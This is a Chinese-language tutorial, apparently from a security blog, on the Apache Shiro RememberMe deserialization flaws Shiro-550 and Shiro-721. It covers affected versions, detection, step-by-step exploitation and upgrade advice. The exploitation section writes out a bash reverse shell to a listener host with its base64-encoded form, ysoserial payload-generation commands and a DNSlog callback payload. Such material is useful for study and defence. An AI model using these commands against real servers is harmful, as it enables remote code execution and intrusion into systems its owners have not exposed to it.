目录
Shiro RememberMe 反序列化漏洞(Shiro-550)
Shiro Padding Oracle Attack(Shiro-721)
Shiro 是一个 Java 安全框架。以下是关于 Shiro 反序列化漏洞的一些总结:
Shiro RememberMe 反序列化漏洞(Shiro-550)
-
漏洞原理
- 在 Shiro <= 1.2.4 中,当用户勾选 RememberMe 并登录成功,Shiro 会将用户的 cookie 值序列化、AES 加密、接着 base64 编码后存储在 cookie 的 RememberMe 字段中。
- 服务端收到登录请求后,会对 RememberMe 的 cookie 值进行 base64 解码、AES 解密,然后反序列化。由于 AES 加密是对称式加密(key 既能加密数据也能解密数据),而该版本中反序列化过程所用 AES 加密的 key 是硬编码在源码中的,所以当攻击者知道了 AES key 后,就能够构造恶意的 RememberMe cookie 值从而触发反序列化漏洞。
-
影响版本
- Apache Shiro <= 1.2.4。
-
特征判断
- 返回包中含有RememberMe=deleteMe 字段。
-
漏洞利用方式
-
方式一:nc 反弹 shell
- 在 kali 中通过 nc 监听本地端口,例如
nc -lvp 4444
。 - 利用 Java Runtime 配合 bash 编码生成反弹 shell 代码,例如
bash -i >& /dev/tcp/192.168.31.81/4444 0>&1
,编码后的结果类似:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
。 - 通过 ysoserial 工具中的 JRMP 监听模块,监听特定端口(如 6666)并执行反弹 shell 命令,如
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjgxLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
。 - 利用检测出的 AES 密钥,生成 payload。
- 构造数据包,伪造 cookie 并发送请求。
- 在 kali 中通过 nc 监听本地端口,例如
-
方式二:命令执行
- 使用 ysoserial 工具生成 poc,如
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "echo 'test shiro-550' > /tmp/SUCCESS"
。 - 使用 Shiro 默认 AES Key 对 payload 进行加密。
- 用 burpsuite 抓包,发送带有伪造 RememberMe Cookie 的请求。
- 查看目标服务器的/tmp 目录,确认是否生成了指定文件。
- 使用 ysoserial 工具生成 poc,如
-
Shiro Padding Oracle Attack(Shiro-721)
-
漏洞原理
- Apache Shiro cookie 中通过 AES-128-CBC 模式加密的 RememberMe 字段存在问题,用户可通过 Padding Oracle 加密生成攻击代码来构造恶意的 RememberMe 字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
-
影响版本
- Apache Shiro < 1.4.2 版本。
-
漏洞利用步骤
- 登录 Shiro 网站,从 cookie 中获得 RememberMe 字段的值。
- 利用 DNSlog 探测,通过 ysoserial 工具生成 payload,例如
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 75bbot.dnslog.cn" > payload.class
。 - 使用 RememberMe 值作为 prefix,加载 Payload,进行 Padding Oracle 攻击(可使用相关的工具,如 github 上的特定项目)。
- 使用构造的 RememberMe 攻击字符串重新请求网站。
- 成功触发 Payload,可在 DNSLog 获取到目标 IP。
Shiro-550和 Shiro-721的区别
Shiro-550(CVE-2016-4437)和 Shiro-721(CVE-2019-12422)的主要区别在于漏洞利用的条件和方式:
- Shiro-550:使用的是已知密钥进行撞库。在 Shiro 550 中,AES 加密的密钥是硬编码在 Shiro 源码中的,如果没有修改默认密钥,则可以直接使用该密钥构造 Payload。影响版本为 Apache Shiro < 1.2.4。
- Shiro-721:需要使用登录后得到的
RememberMe
Cookie 的值去爆破正确的 key 值进而反序列化。Shiro 721 中 AES 加密的 key 通常是系统随机生成的,一般情况下无法直接得知。它利用了 Shiro 中通过 AES-128-CBC 模式加密的RememberMe
字段存在的问题,以登录后的有效RememberMe
cookie 作为 Padding Oracle Attack 的前缀,然后构造恶意的RememberMe
字段来执行 Java 反序列化攻击。影响版本为 Apache Shiro < 1.4.2。
相比之下,Shiro-550 的利用条件相对较低,只要有足够的密钥库即可;而 Shiro-721 需要先登录获取RememberMe
值,要求相对较高且较为鸡肋。
修复建议
shiro反序列化漏洞都可能导致严重的安全风险,如果存在这个漏洞攻击者能够执行任意代码或进行其他恶意攻击。
建议及时将 Apache Shiro 升级到最新版本,并采取其他安全措施,比如不使用默认的加密密钥、加强对用户输入的验证和过滤等。同时,在开发和部署应用时,要遵循安全最佳实践,以降低安全风险。